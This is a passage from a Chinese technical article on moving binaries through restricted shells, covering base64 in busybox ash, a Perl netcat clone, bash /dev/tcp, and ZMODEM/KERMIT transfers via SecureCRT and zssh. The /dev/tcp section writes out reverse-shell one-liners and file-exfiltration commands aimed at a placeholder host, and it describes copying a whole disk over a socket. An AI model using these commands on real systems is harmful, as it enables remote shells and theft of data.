"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" echo -n -e "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" echo -n -e "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" echo -n -e "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" echo -n -e "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" echo -n -e "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" echo -n -e "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" 3) base64.ash base64编码时不直接处理binary,处理"xxd -p"、"od -An -tx1 -v --width=30"这 类输入,允许出现空格,只支持小写[a-f]。如果busybox没有提供od,base64.ash无 法进行base64编码。base64.ash不直接处理binary,主要因为busybox的ash不支持-d, 无法有效读取\n。 base64.ash进行base64解码时仅依赖busybox的ash,但效率极其低下。 -------------------------------------------------------------------------- #!/bin/ash # # Author : scz@nsfocus # : 2018-10-08 # : 2018-10-16 16:12 # base64encode () { base64table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" hextable="0123456789abcdef" o=0 bits=0 n=0 maxn=76 count=0 while LANG=C IFS= read -r -n 1 byte do if [ "$byte" ] ; then h=${hextable%${byte}*} h=${#h} if [[ $h != 16 ]] ; then let count+=1 i=0 while [ $i -lt 4 ] do let o=o*2+h/8 let h=h*2%16 let bits+=1 if [[ $bits == 6 ]] ; then printf ${base64table:$o:1} let n+=1 if [ $n -ge $maxn ] ; then printf "\n" n=0 fi o=0 bits=0 fi let i+=1 done fi fi done if [[ $bits != 0 ]] ; then while [ $bits -lt 6 ] do let bits+=1 let o*=2 done printf ${base64table:$o:1} let n+=1 if [ $n -ge $maxn ] ; then printf "\n" n=0 fi fi let count=count/2%3 if [[ $count != 0 ]] ; then i=0 let t=3-count while [ $i -lt $t ] do printf "=" let n+=1 if [ $n -ge $maxn ] ; then printf "\n" n=0 fi let i+=1 done fi if [ $n -ne 0 ] ; then printf "\n" fi } base64decode () { base64table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" o=0 bits=0 while LANG=C IFS= read -r -n 1 byte do if [ "$byte" ] ; then c=${base64table%${byte}*} c=${#c} if [[ $c != 64 ]] ; then b=0 while [ $b -lt 6 ] do let o=o*2+c/32 let c=c*2%64 let bits+=1 if [[ $bits == 8 ]] ; then escseq=$(printf "\x%02x" $o) printf $escseq o=0 bits=0 fi let b+=1 done fi fi done } if [ "$1" != "-d" ] ; then base64encode else base64decode fi -------------------------------------------------------------------------- $ echo -n -e "scz@nsfocus" | xxd -p | busybox ash base64.ash $ busybox od -An -tx1 -v some | busybox ash base64.ash > some.txt $ busybox ash base64.ash -d < some.txt > some ☆ openssl openssl可以进行base64编解码。一般不考虑目标环境存在openssl,列于此处只是出 于完备性考虑。 $ openssl enc -base64 -e -in some -out some.txt some.txt形如: AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4v MDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5f YGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6P kJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/ wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v 8PHy8/T19vf4+fr7/P3+/w== $ openssl enc -base64 -d -in some.txt -out some $ base64 -d some.txt > some "openssl enc -base64 -d"容错性不足,输入文件每行64个字符时无问题。如果 输入文件不是由"openssl enc -base64 -e"产生的,比如是一个单行超长字符串,此 时务必不要直接用"openssl enc -base64 -d"进行BASE64解码,会丢数据,除非手工 处理过输入文件,折过行。"base64 -d"无此问题。这是个坑,我碰上了。 ☆ 小结 至此为止,前面介绍的都是bin与txt的相互转换,各种编码、解码。假设数据传输通 道只有一个弱shell,有回显,可以通过copy/paste无损传输可打印字符。为了将不 可打印字节传输过去,只能通过编解码进行数据映射。前文只演示了3种数据映射方 案,有更多其他编解码方案,但没必要,这3种够用了。 弱环境使得无法用C代码完成编解码,只能用一些受限的现有工具完成,为此上场了 各种奇技淫巧。 后面的内容是一些相关发散。 ☆ perl 1) nc.pl nc.pl实现nc部分功能。 -------------------------------------------------------------------------- #!/usr/bin/perl use IO::Socket; $SIG{PIPE} = 'IGNORE'; $buflen = 102400; die "Usage: $0 \n" unless ($host = shift) && ($port = shift); die "connect to $host:$port: $!\n" unless $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => $port, proto => 'tcp' ); while ( ( $count = sysread( STDIN, $buffer, $buflen ) ) > 0 ) { die "socket write error: $!\n" unless syswrite( $sock, $buffer, $count ) == $count; } die "socket read error: $!\n" if $count < 0; die "close socket: $!\n " unless close( $sock ); -------------------------------------------------------------------------- 本文最初没打算把perl牵扯进来,一般有perl的环境都不算弱环境。事实上前面主要 考虑没有网络的串口登录shell,而且优先考虑恶劣的弱busybox环境。 后来想起曾经处理过一台x64/Solaris,当时需要取证,不允许在上面额外安装二进 制工具,系统中没有nc,但有perl解释器。虽然这个场景不够恶劣,也算有所限制。 $ dd if=/dev/dsk/cNtNdNs2 | nc.pl 用这个办法把硬盘dd走了。不记得当时是否有bash在场,若有,可以这样: $ dd if=/dev/dsk/cNtNdNs2 | cat > /dev/tcp// ☆ /dev/tcp 参看bash(1) -------------------------------------------------------------------------- /dev/fd/fd /proc/self/fd/fd If fd is a valid integer, file descriptor fd is duplicated. /dev/stdin File descriptor 0 is duplicated. /dev/stdout File descriptor 1 is duplicated. /dev/stderr File descriptor 2 is duplicated. /dev/tcp/host/port If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open the corresponding TCP socket. /dev/udp/host/port If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open the corresponding UDP socket. -------------------------------------------------------------------------- $ ls -l /dev/fd lrwxrwxrwx 1 root root 13 Oct 23 10:45 /dev/fd -> /proc/self/fd/ $ ls -l /dev/stdin lrwxrwxrwx 1 root root 15 Oct 23 10:45 /dev/stdin -> /proc/self/fd/0 $ ls -l /dev/stdout lrwxrwxrwx 1 root root 15 Oct 23 10:45 /dev/stdout -> /proc/self/fd/1 $ ls -l /dev/stderr lrwxrwxrwx 1 root root 15 Oct 23 10:45 /dev/stderr -> /proc/self/fd/2 $ ls -l /dev/tcp /dev/udp ls: cannot access '/dev/tcp': No such file or directory ls: cannot access '/dev/udp': No such file or directory 如果OS已经提供这些文件,bash将直接使用它们,否则bash会在内部模拟它们并使用 之。/dev/tcp、/dev/udp很可能并不真实存在,此时离开bash环境将无法使用它们, 比如busybox的ash就不支持它们。 bash支持/dev/tcp时只用到connect(2),没有用bind(2),因此只能主动连接,不能 被动侦听。若所在主机不允许主动外连,无法使用/dev/tcp。 1) 检查SSH banner 检查当前环境对/dev/tcp的支持,获取SSH banner: $ cat < /dev/tcp/127.0.0.1/22 SSH-2.0-OpenSSH_7.8p1 Debian-1 2) 访问"www.microsoft.com" $ exec 1314<> /dev/tcp/www.microsoft.com/80 $ ls -l /dev/fd/1314 lrwx------ 1 root root 64 Oct 24 12:39 /dev/fd/1314 -> 'socket:[54768]' $ echo -n -e "GET / HTTP/1.1\r\nHost: www.microsoft.com\r\n\r\n" >&1314 $ cat <&1314 HTTP/1.1 200 OK Server: Apache ETag: "6082151bd56ea922e1357f5896a90d0a:1425454794" Last-Modified: Wed, 04 Mar 2015 07:39:54 GMT Accept-Ranges: bytes Content-Length: 1020 Content-Type: text/html Date: Wed, 24 Oct 2018 04:39:24 GMT Connection: keep-alive Microsoft Corporation

Your current User-Agent string appears to be from an automated process, if this is incorrect, please click this link:United States English Microsoft Homepage

$ ls -l /proc/self/fd/1314 lrwx------ 1 root root 64 Oct 24 12:39 /proc/self/fd/1314 -> 'socket:[54768]' $ exec 1314>&- $ ls -l /proc/self/fd/1314 ls: cannot access '/proc/self/fd/1314': No such file or directory 3) 从本机向远端传输文件 在本机 nc -l -p 7474 < some 在远端 cat < /dev/tcp/x.x.x.x/7474 > some nc -n x.x.x.x 7474 > some 4) 从远端向本机传输文件 在本机 nc -l -p 7474 > some 在远端 cat some > /dev/tcp/x.x.x.x/7474 dd if=some | cat > /dev/tcp/x.x.x.x/7474 nc -n x.x.x.x 7474 < some exec 1314<> /dev/tcp/x.x.x.x/7474 ls -l /dev/fd/1314 cat some >&1314 exec 1314>&- 5) 开远程shell 在本机 nc -l -p 7474 将来在上述窗口输入命令、查看命令回显 在远端 bash -i > /dev/tcp/x.x.x.x/7474 0<&1 2>&1 nc -n x.x.x.x 7474 -e /bin/bash ☆ SecureCRT 这里介绍ZMODEM/YMODEM/XMODEM/KERMIT方案,某些场景用得上,包括U-Boot,但举 例时用了Windows和Linux。 1) 从Windows向Linux上传文件 1.1) ZMODEM(推荐) 在Linux中安装lrzsz包: $ aptitude install lrzsz $ dpkg -L lrzsz | grep "/bin/" /usr/bin/rx /usr/bin/rb /usr/bin/sx /usr/bin/sb /usr/bin/sz /usr/bin/rz 假设在Windows中用SecureCRT SSH登录Linux,在Linux的当前shell中切换到用于存 放上传文件的目录,比如: $ cd /tmp/modem/ 在Windows中操作SecureCRT: Transfer->Zmodem Upload List->选择多个待上传文件->Start Upload 之后在/tmp/modem中将出现被上传文件。 整个过程会在Linux中隐式执行rz: $ rz rz waiting to receive. Starting zmodem transfer. Press Ctrl+C to cancel. Transferring ... 第二种操作方式,SecureCRT SSH登录Linux,在Linux中切换目录,在Windows中用鼠 标拖放待上传文件到SecureCRT SSH会话窗口,此时会弹出一个小窗口,在其中选择 "Send Zmodem"。 第三种操作方式,SecureCRT SSH登录Linux,在Linux中切换目录,在Linux中执行rz 命令,在SecureCRT中弹出界面让你选择文件,确定后完成上传。 如果在Windows中用SecureCRT TELNET登录Linux,上述几种步骤均无法完成上传,在 Linux中会看到: $ rz rz waiting to receive.**B0100000023be50 然后僵死在此。排查后发现是TELNET会话设置的问题: Options->Session Options->Terminal->X/Y/Zmodem->Zmodem->Disable Zmodem 居然是禁用状态。启用后,SecureCRT TELNET会话亦可使用ZMODEM上传文件。 假设起点是A机,从A用SecureCRT SSH登到B,从B SSH登录到C,此时在A上可以用 ZMODEM直接上传文件到C。考虑B是跳板机的情形,以及sftp/scp因故不能时,这为某 些行动提供了便利。 1.2) YMODEM 相比ZMODEM,YMODEM、XMODEM没有优势,这里只是演示,并不推荐。 在Linux中执行: $ rb -b 在Windows中操作SecureCRT: Options->Session Options->Terminal->X/Y/Zmodem->X/Ymodem send packet size 128 bytes // 缺省值 1024 bytes (Xmodem-1k/Ymodem-1k) // 选这个 Transfer->Send Ymodem->选择文件 或者用鼠标拖放文件到相应SecureCRT会话窗口。YMODEM比ZMODEM慢,在Debian中居 然需要用Ctrl-C结束,不过不影响上传数据。 1.3) XMODEM(不推荐) 在Linux中执行: $ rx -b some rx一次只能接收一个文件。 在Windows中操作SecureCRT: Options->Session Options->Terminal->X/Y/Zmodem->X/Ymodem send packet size->1024 bytes (Xmodem-1k/Ymodem-1k) Transfer->Send Xmodem->选择文件 待上传文件在Windows中的名字不要求是some,但到了Linux中将被重命名为some。在 Debian中同样可能需要用Ctrl-C结束,但不影响上传数据。 相比ZMODEM、YMODEM,XMODEM有个大问题,在man中写道: Up to 1023 garbage characters may be added to the received file. 比如某文件正常尾部是: 000028b0: 20 72 65 76 65 72 74 0a 66 69 revert.fi 通过XMODEM上传后其尾部数据是: 000028b0: 20 72 65 76 65 72 74 0a 66 69 1a 1a 1a 1a 1a 1a revert.fi...... 000028c0: 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 000028d0: 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 000028e0: 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 000028f0: 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 尾部填充导致不宜用XMODEM上传binary,尽管可以用dd切掉尾部填充。ZMODEM、 YMODEM无此问题。 1.4) KERMIT 介绍ZMODEM的文章很多,介绍KERMIT的较少,看到过标题说是介绍KERMIT内容实际是 ZMODEM的文章,真扯淡。 在Linux中安装ckermit包: $ aptitude install ckermit $ dpkg -L ckermit | grep "/bin/" /usr/bin/kermit /usr/bin/kermit-sshsub /usr/bin/kermrc 在Linux中执行: $ cd /tmp/kermit/ $ kermit -i -r 在Windows中操作SecureCRT: Transfer->Send Kermit->选择文件(可以多选) 或者用鼠标拖放文件到相应SecureCRT会话窗口,在弹出窗口中选择"Send Kermit"。 2) 从Linux向Windows下载文件 2.1) ZMODEM(推荐) 假设在Windows中用SecureCRT SSH登录Linux 在Windows中操作SecureCRT: Options->Session Options->Terminal->X/Y/Zmodem->Directories->Download->指定用于存放下载文件的目录 不必理会Upload的设置 在Linux中执行: $ sz -b zmodem.bin other.bin rz Starting zmodem transfer. Press Ctrl+C to cancel. Transferring zmodem.bin... ... Transferring other.bin... ... 在Windows中检查Download目录,已经出现被下载文件。 SecureCRT对sz的支持比较智能,没有想像中的: Transfer->Receive Zmodem 这带来一些兼容性问题。某远程主机是一台嵌入式ARM/Linux,上面有个3.48版sz, 远程执行"sz -b "后,SecureCRT这边没反应,但用YMODEM下载成功。后来把 源自Debian 9的lrzsz 0.12.21-10交叉编译出静态链接版本弄到前述ARM/Linux上, 用ZMODEM下载成功。 提供两个编译好的用于嵌入式ARM/Linux的静态链接版rz/sz: https://scz.617.cn/unix/lrz https://scz.617.cn/unix/lsz $ ls -l lrz lsz -rwxr-xr-x 1 root root 628268 Oct 19 15:07 src/lrz* -rwxr-xr-x 1 root root 630340 Oct 19 15:07 src/lsz* $ file -b lrz lsz ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.16, stripped ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.16, stripped $ md5sum lrz lsz d8938665ca3d6dffad2f98db41c85700 lrz 50b7d283f85c1634d69a97386dcb32cb lsz $ shasum lrz lsz c43e28f7f9d4a5cc1f7f303f5de7774eecd58a0a lrz 9e5c8cf17aedc9563bf89e84dcb3be4afa49b1ff lsz 设法将它们弄到设备中去,重命名成rz/sz,放到/bin/下,与SecureCRT合作无误。 如果知道自己在干啥,不重命也能完成上传、下载。 假设起点是A机,从A用SecureCRT SSH登到B,从B SSH登录到C,此时可以用ZMODEM直 接从C向A下载文件。考虑B是跳板机的情形,以及sftp/scp因故不能时,这为某些行 动提供了便利。 2.2) YMODEM 在Linux中执行: $ sb -b -k ymodem.bin other.bin 在Windows中操作SecureCRT: Options->Session Options->Terminal->X/Y/Zmodem->Directories->Download->指定用于存放下载文件的目录 Options->Session Options->Terminal->X/Y/Zmodem->X/Ymodem send packet size->1024 bytes (Xmodem-1k/Ymodem-1k) Transfer->Receive Ymodem 在Windows中检查Download目录,已经出现被下载文件。 2.3) XMODEM(不推荐) 在Linux中执行: $ sx -b -k xmodem.bin sx一次只能传送一个文件。 在Windows中操作SecureCRT: Options->Session Options->Terminal->X/Y/Zmodem->Directories->Download->指定用于存放下载文件的目录 Options->Session Options->Terminal->X/Y/Zmodem->X/Ymodem send packet size->1024 bytes (Xmodem-1k/Ymodem-1k) Transfer->Receive Xmodem 与2.2小节不同,此处弹出文件对话框,让你选择输出目录,还可以指定输出文件名。 1.3小节提到的尾部填充(0x1a)并不是Linux版rx命令的独有表现,应该是XMODEM规范。 SecureCRT通过XMODEM接收文件时,同样会进行尾部填充。填充什么数据,填充多少 字节,可以看rx源码,我已经打定主意不用XMODEM,不深究。 2.4) KERMIT 在Linux中执行: $ kermit -I -P -i -s kermit.bin other.bin 指定-P,否则文件下载到Windows后文件名变成全大写。 在Windows中操作SecureCRT: Options->Session Options->Terminal->X/Y/Zmodem->Directories->Download->指定用于存放下载文件的目录 Transfer->Receive Kermit 在Windows中检查Download目录,已经出现被下载文件。SecureCRT没有单独为KERMIT 配置下载目录的地方,KERMIT与ZMODEM共用同一个下载目录。 3) 妖孽的Send ASCII/Recive ASCII/Send Binary SecureCRT的Transfer菜单中出现: Send ASCII Recive ASCII Send Binary 不知这三个的正规使用场景是啥? 假设Windows有如下文件: $ xxd -g 1 ascii.txt 00000000: 65 63 68 6f 20 73 63 7a 40 6e 73 66 6f 63 75 73 echo scz@nsfocus "Send ASCII"后,相当于在Linux的shell中执行: $ echo scz@nsfocus scz@nsfocus "Recive ASCII"效果类似于: File->Log Session File->Raw Log Session "Send Binary"可能是与U-Boot之类的东西合作使用。 ☆ zssh 若A、B都是Linux,也可以用rz/sz上传下载,此时需要zssh。zssh是"Zmodem SSH" 的缩写,Debian有这个包,直接装就是。 $ apt-cache search zssh $ dpkg -L zssh | grep "/bin/" /usr/bin/zssh /usr/bin/ztelnet man手册里有: zssh is an interactive wrapper for ssh used to switch the ssh connection between the remote shell and file transfers. This is achieved by using another tty/pty pair between the user and the local ssh process to plug either the user's tty (remote shell mode) or another process (file transfer mode) on the ssh connection. ztelnet behaves similarly to zssh, except telnet is used instead of ssh. It is equivalent to 'zssh -s "telnet -8 -E"' $ zssh @ 登录后,在远程shell里执行: $ sz zmodem.bin other.bin **B00000000000000 按下zssh的"escape squence",缺省是Ctrl-@(或Ctrl-2)。这将进入另一个提示符, 在其中输入rz zssh > rz 即可完成下载。此处有坑,假设是在C中用SecureCRT远程登录A,该会话启用ZMODEM, 前述操作原始意图是从B向A提供文件,实际效果是从B向C提供文件;这种场景下,为 了达成原始意图,必须先禁用C与A之间的ZMODEM。 上传更简单,在"zssh >"提示符下执行sz: zssh > sz zmodem.bin other.bin 上传时跟SecureCRT一样"智能",不需要在远程shell里显式执行rz来配合。 ☆ minicom minicom也有ZMODEM支持,不过我最近没有这种使用场景出现,以后出现了回来补这 一小节内容。 ☆ 其他工具 1) ExtraPuTTY http://www.extraputty.com/index.php http://www.extraputty.com/features/zmodem.html 某天TK给我这个链接,说ExtraPuTTY给PuTTY增加了对ZMODEM的支持,可以直接在终 端会话中上传文件。他惯常装作好心的样子给我推荐一些新鲜东西,实则指望我当小 白鼠。这款工具我未实测,留给过路的妖精们。